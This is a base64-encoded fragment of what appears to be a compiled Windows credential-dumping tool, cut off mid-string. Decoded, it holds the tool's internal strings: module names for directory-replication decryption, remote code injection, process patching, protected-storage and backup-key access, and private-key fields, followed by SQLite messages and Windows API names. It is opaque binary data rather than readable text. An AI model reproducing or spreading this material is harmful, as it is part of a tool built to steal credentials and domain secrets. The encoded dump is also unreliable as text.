dABlACAAKABwAHUAYgBsAGkAYwApAAoAAAAAAAAAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAbgBnACkAKgAqAAoAAAAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzAEwAZQBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAQQByAHIAYQB5AFsAMQA2AF0AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAHAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAACUALgAqAHMACgAAAAAAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAHAAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAOgAKAAAAAAAAACUAKgBzACAAIABwAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAIAAgACAAIAAgADoACgAAAAAAAAAlACoAcwAqACoASwBFAFkAIABDAE4ARwAgAFAAUgBPAFAARQBSAFQAWQAqACoACgAAAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAHQAcgB1AGMAdABMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAdAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBOAGEAbQBlAEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFAAcgBvAHAAZQByAHQAeQBMAGUAbgAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAA6ACAAAAAlAHUAIABmAGkAZQBsAGQAKABzACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBuAGUAdABfAGcAZQB0AEQAQwAgADsAIABEAHMARwBlAHQARABjAE4AYQBtAGUAOgAgACUAdQAKAAAAYQAAACIAJQBzACIAIABzAGUAcgB2AGkAYwBlACAAcABhAHQAYwBoAGUAZAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABLAE8ACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8ATwBwAGUAbgBBAG4AZABRAHUAZQByAHkAVwBpAHQAaABBAGwAbABvAGMAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEsATwAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBPAHAAZQBuAEEAbgBkAFEAdQBlAHIAeQBXAGkAdABoAEEAbABsAG8AYwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAASwBPAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABSAHQAbABDAHIAZQBhAHQAZQBVAHMAZQByAFQAaAByAGUAYQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBhAGwAbABvAGMAIAAvACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABFAHgAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAA7ACAATgBvACAAYgB1AGYAZgBlAHIAIAA/AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFMAZQB0AE8AcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFMAZQB0AEEAdQB0AGgASQBuAGYAbwBFAHgAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABOAG8AIABCAGkAbgBkAGkAbgBnACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwBDAG8AbQBwAG8AcwBlADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAUAByAG8AdABlAGMAdABlAGQAUwB0AG8AcgBhAGcAZQAAAAAAAAAAAFwAcABpAHAAZQBcAHAAcgBvAHQAZQBjAHQAZQBkAF8AcwB0AG8AcgBhAGcAZQAAAG4AYwBhAGMAbgBfAG4AcAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBiAGsAcgBwAF8AZwBlAG4AZQByAGkAYwAgADsAIABCAGEAYwBrAHUAcAByAEsAZQB5ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYgBrAHIAcABfAGcAZQBuAGUAcgBpAGMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABRAHUAZQByAHkAQwBvAG4AdABlAHgAdABBAHQAdAByAGkAYgB1AHQAZQBzACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFIAcABjAFMAZQBjAHUAcgBpAHQAeQBDAGEAbABsAGIAYQBjAGsAIAA7ACAASQBfAFIAcABjAEIAaQBuAGQAaQBuAGcASQBuAHEAUwBlAGMAdQByAGkAdAB5AEMAbwBuAHQAZQB4AHQAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIABEAEMAIAAnACUAcwAnACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAEkAbgBjAG8AcgByAGUAYwB0ACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQAIAAoACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAG4AYwBvAHIAcgBlAGMAdAAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0ACAAUwBpAHoAZQAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAATgBvACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAEQATABfAEQAUgBTAEIAaQBuAGQAOgAgACUAdQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAATgBPAF8ARQBSAFIATwBSAAAAAAAAAAAARQBSAFIATwBSAF8AUgBFAFMATwBMAFYASQBOAEcAAABFAFIAUgBPAFIAXwBOAE8AVABfAEYATwBVAE4ARAAAAEUAUgBSAE8AUgBfAE4ATwBUAF8AVQBOAEkAUQBVAEUAAAAAAAAAAABFAFIAUgBPAFIAXwBOAE8AXwBNAEEAUABQAEkATgBHAAAAAAAAAAAARQBSAFIATwBSAF8ARABPAE0AQQBJAE4AXwBPAE4ATABZAAAAAAAAAEUAUgBSAE8AUgBfAE4ATwBfAFMAWQBOAFQAQQBDAFQASQBDAEEATABfAE0AQQBQAFAASQBOAEcAAAAAAAAAAABFAFIAUgBPAFIAXwBUAFIAVQBTAFQAXwBSAEUARgBFAFIAUgBBAEwAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAIAAoAG4AYQBtAGUAIABzAHQAYQB0AHUAcwApADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkAIAAtACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzADoAIABuAG8AIABpAHQAZQBtACEACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAYgBhAGQAIAB2AGUAcgBzAGkAbwBuACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAaABlAGMAawBzAHUAbQBzACAAZABvAG4AJwB0ACAAbQBhAHQAYwBoACAAKABDADoAMAB4ACUAMAA4AHgAIAAtACAAUgA6ADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAYQBsAGMAdQBsAGEAdABlACAAQwBSAEMAMwAyAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIAB2AGEAbABpAGQAIABkAGEAdABhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIABTAGUAcwBzAGkAbwBuACAASwBlAHkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEMAUgBBAEMASwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAG4AYQBtAGUAQwByAGEAYwBrAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBEAEMASQBOAEYATwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBEAEMASQBOAEYATwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAYwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAABTAGUAcgB2AGkAYwBlAHMAQQBjAHQAaQB2AGUAAAAAACUAdwBaAAAAJQAwADIAeAAAAAAAAAAAACUAMAAyAHgAIAAAAAAAAAAwAHgAJQAwADIAeAAsACAAAAAAAAAAAABcAHgAJQAwADIAeAAAAAAACgBCAFkAVABFACAAZABhAHQAYQBbAF0AIAA9ACAAewAKAAkAAAAAAAkAAAAAAAAACgB9ADsACgAAAAAAAAAAACUAcwAgAAAAJQBzAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBkAGkAcwBwAGwAYQB5AFMASQBEACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABVAHMAZQByAAAAAAAAAAAARwByAG8AdQBwAAAAAAAAAEQAbwBtAGEAaQBuAAAAAABBAGwAaQBhAHMAAAAAAAAAVwBlAGwAbABLAG4AbwB3AG4ARwByAG8AdQBwAAAAAABEAGUAbABlAHQAZQBkAEEAYwBjAG8AdQBuAHQAAAAAAEkAbgB2AGEAbABpAGQAAABVAG4AawBuAG8AdwBuAAAAQwBvAG0AcAB1AHQAZQByAAAAAAAAAAAATABhAGIAZQBsAAAAAAAAAHUAbgBrACEAAAAAAAAAAABUAG8AawBlAG4AAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwB4AG0AbABfAEMAcgBlAGEAdABlAEEAbgBkAEkAbgBpAHQARABPAE0AIAA7ACAAQwBvAEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHgAbQBsAF8ATABvAGEAZABYAE0ATABGAGkAbABlACAAOwAgAEkAWABNAEwARABPAE0ARABvAGMAdQBtAGUAbgB0AF8AbABvAGEAZAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAMAAAADEAAAAAAAAAJUg6JU06JVMAAAAAAAAAAGN1cnJlbnRfdGltZQAAAAAlWS0lbS0lZAAAAAAAAAAAY3VycmVudF9kYXRlAAAAACVZLSVtLSVkICVIOiVNOiVTAAAAAAAAAGN1cnJlbnRfdGltZXN0YW1wAAAAAAAAAGZhaWxlZCB0byBhbGxvY2F0ZSAldSBieXRlcyBvZiBtZW1vcnkAAABmYWlsZWQgbWVtb3J5IHJlc2l6ZSAldSB0byAldSBieXRlcwAlAAAATlVMTAAAAAAoTlVMTCkAAC4AAAAAAAAAOTIyMzM3MjAzNjg1NDc3NTgwAAAAAAAAQVBJIGNhbGwgd2l0aCAlcyBkYXRhYmFzZSBjb25uZWN0aW9uIHBvaW50ZXIAAAAAdW5vcGVuZWQAAAAAAAAAAGludmFsaWQAQXJlRmlsZUFwaXNBTlNJAENoYXJMb3dlclcAAAAAAABDaGFyVXBwZXJXAAAAAAAAQ2xvc2VIYW5kbGUAAAAAAENyZWF0ZUZpbGVBAAAAAABDcmVhdGVGaWxlVwAAAAAAQ3JlYXRlRmlsZU1hcHBpbmdBAAAAAAAAQ3JlYXRlRmlsZU1hcHBpbmdXAAAAAAAAQ3JlYXRlTXV0ZXhXAAAAAERlbGV0ZUZpbGVBAAAAAABEZWxldGVGaWxlVwAAAAAARmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUARmlsZVRpbWVUb1N5c3RlbVRpbWUAAAAARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAARm9ybWF0TWVzc2FnZUEAAEZvcm1hdE1lc3NhZ2VXAABGcmVlTGlicmFyeQAAAAAAR2V0Q3VycmVudFByb2Nlc3NJZAAAAAAAR2V0RGlza0ZyZWVTcGFjZUEAAAAAAAAAR2V0RGlza0ZyZWVTcGFjZVcAAAAAAAAAR2V0RmlsZUF0dHJpYnV0ZXNBAAAAAAAAR2V0RmlsZUF0dHJpYnV0ZXNXAAAAAAAAR2V0RmlsZUF0dHJpYnV0ZXNFeFcAAAAAR2V0RmlsZVNpemUAAAAAAEdldEZ1bGxQYXRoTmFtZUEAAAAAAAAAAEdldEZ1bGxQYXRoTmFtZVcAAAAAAAAAAEdldExhc3RFcnJvcgAAAABHZXRQcm9jQWRkcmVzc0EAR2V0U3lzdGVtSW5mbwAAAEdldFN5c3RlbVRpbWUAAABHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBHZXRUZW1wUGF0aEEAAAAAR2V0VGVtcFBhdGhXAAAAAEdldFRpY2tDb3VudAAAAABHZXRWZXJzaW9uRXhBAAAAR2V0VmVyc2lvbkV4VwAAAEhlYXBBbGxvYwAAAAAAAABIZWFwQ3JlYXRlAAAAAAAASGVhcERlc3Ryb3kAAAAAAEhlYXBGcmVlAAAAAAAAAABIZWFwUmVBbGxvYwAAAAAASGVhcFNpemUAAAAAAAAAAEhlYXBWYWxpZGF0ZQAAAABIZWFwQ29tcGFjdAAAAAAATG9hZExpYnJhcnlBAAAAAExvYWRMaWJyYXJ5VwAAAABMb2NhbEZyZWUAAAAAAAAATG9ja0ZpbGUAAAAAAAAAAExvY2tGaWxlRXgAAAAAAABNYXBWaWV3T2ZGaWxlAAAATXVsdGlCeXRlVG9XaWRlQ2hhcgAAAAAAUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAUmVhZEZpbGUAAAAAAAAAAFNldEVuZE9mRmlsZQAAAABTZXRG